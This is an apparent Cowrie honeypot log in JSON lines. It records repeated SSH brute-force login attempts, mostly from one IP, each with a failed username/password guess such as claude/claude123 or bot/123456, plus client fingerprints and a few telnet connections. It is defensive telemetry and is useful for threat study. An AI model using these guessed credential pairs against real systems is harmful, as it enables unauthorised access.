{"eventid":"cowrie.login.failed","username":"odoo18","password":"123","message":"login attempt [odoo18/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:14:50.829700Z","src_ip":"141.11.88.14","session":"15f1cba7de80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:14:51.985513Z","src_ip":"141.11.88.14","session":"15f1cba7de80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":30350,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ceb4bca473b","protocol":"ssh","message":"New connection: 141.11.88.14:30350 (10.17.0.5:22) [session: 7ceb4bca473b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:14:57.797997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:14:57.821375Z","src_ip":"141.11.88.14","session":"7ceb4bca473b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:14:57.897856Z","src_ip":"141.11.88.14","session":"7ceb4bca473b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude123","message":"login attempt [claude/claude123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:14:58.219544Z","src_ip":"141.11.88.14","session":"7ceb4bca473b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:14:59.631987Z","src_ip":"141.11.88.14","session":"7ceb4bca473b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":30376,"dst_ip":"10.17.0.5","dst_port":22,"session":"236af214fe36","protocol":"ssh","message":"New connection: 141.11.88.14:30376 (10.17.0.5:22) [session: 236af214fe36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:15:03.509820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:15:03.525940Z","src_ip":"141.11.88.14","session":"236af214fe36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:15:04.128653Z","src_ip":"141.11.88.14","session":"236af214fe36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"piyush","password":"piyush@123","message":"login attempt [piyush/piyush@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:15:05.362783Z","src_ip":"141.11.88.14","session":"236af214fe36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:15:06.518949Z","src_ip":"141.11.88.14","session":"236af214fe36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":44662,"dst_ip":"10.17.0.5","dst_port":22,"session":"abae14eba43a","protocol":"ssh","message":"New connection: 141.11.88.14:44662 (10.17.0.5:22) [session: abae14eba43a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:15:10.625836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:15:10.718091Z","src_ip":"141.11.88.14","session":"abae14eba43a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:15:10.721751Z","src_ip":"141.11.88.14","session":"abae14eba43a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":58238,"dst_ip":"159.203.135.109","dst_port":23,"session":"298b306882a2","protocol":"telnet","message":"New connection: 107.6.151.170:58238 (159.203.135.109:23) [session: 298b306882a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:15:11.214285Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"fjbdfdjkdsfs541544","message":"login attempt [admin/fjbdfdjkdsfs541544] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:15:11.683075Z","src_ip":"141.11.88.14","session":"abae14eba43a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:15:12.846661Z","src_ip":"141.11.88.14","session":"abae14eba43a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.68468880653381,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:15:17.093389Z","src_ip":"128.199.8.54","session":"3b84f12b43ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":46986,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a0c7bec27be","protocol":"ssh","message":"New connection: 141.11.88.14:46986 (10.17.0.5:22) [session: 5a0c7bec27be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:15:19.321197Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:15:19.354739Z","src_ip":"141.11.88.14","session":"5a0c7bec27be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:15:19.417128Z","src_ip":"141.11.88.14","session":"5a0c7bec27be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"qwerty","message":"login attempt [master/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:15:19.995433Z","src_ip":"141.11.88.14","session":"5a0c7bec27be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:15:21.366622Z","src_ip":"141.11.88.14","session":"5a0c7bec27be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":46884,"dst_ip":"159.203.135.109","dst_port":23,"session":"08564b00124a","protocol":"telnet","message":"New connection: 128.199.8.54:46884 (159.203.135.109:23) [session: 08564b00124a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:15:24.488060Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":47054,"dst_ip":"10.17.0.5","dst_port":22,"session":"861016efd4d7","protocol":"ssh","message":"New connection: 141.11.88.14:47054 (10.17.0.5:22) [session: 861016efd4d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:15:26.444879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:15:26.543208Z","src_ip":"141.11.88.14","session":"861016efd4d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:15:26.546589Z","src_ip":"141.11.88.14","session":"861016efd4d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aman","password":"aman","message":"login attempt [aman/aman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:15:27.569533Z","src_ip":"141.11.88.14","session":"861016efd4d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:15:28.771124Z","src_ip":"141.11.88.14","session":"861016efd4d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":34764,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4e71fb471ac","protocol":"ssh","message":"New connection: 141.11.88.14:34764 (10.17.0.5:22) [session: b4e71fb471ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:15:32.345046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:15:32.370046Z","src_ip":"141.11.88.14","session":"b4e71fb471ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:15:32.429545Z","src_ip":"141.11.88.14","session":"b4e71fb471ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"123456","message":"login attempt [bot/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:15:32.844102Z","src_ip":"141.11.88.14","session":"b4e71fb471ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:15:33.992267Z","src_ip":"141.11.88.14","session":"b4e71fb471ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":20286,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e6ac0f2b83d","protocol":"ssh","message":"New connection: 141.11.88.14:20286 (10.17.0.5:22) [session: 2e6ac0f2b83d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:15:39.462531Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:15:39.604337Z","src_ip":"141.11.88.14","session":"2e6ac0f2b83d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:15:39.607741Z","src_ip":"141.11.88.14","session":"2e6ac0f2b83d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"123456","message":"login attempt [elasticsearch/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:15:40.617190Z","src_ip":"141.11.88.14","session":"2e6ac0f2b83d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:15:41.701698Z","src_ip":"141.11.88.14","session":"2e6ac0f2b83d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.09113383293152,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:15:46.305225Z","src_ip":"107.6.151.170","session":"298b306882a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":20310,"dst_ip":"10.17.0.5","dst_port":22,"session":"681eb6776fc1","protocol":"ssh","message":"New connection: 141.11.88.14:20310 (10.17.0.5:22) [session: 681eb6776fc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:15:47.021698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:15:47.081497Z","src_ip":"141.11.88.14","session":"681eb6776fc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:15:47.179180Z","src_ip":"141.11.88.14","session":"681eb6776fc1","protocol":"ssh"}
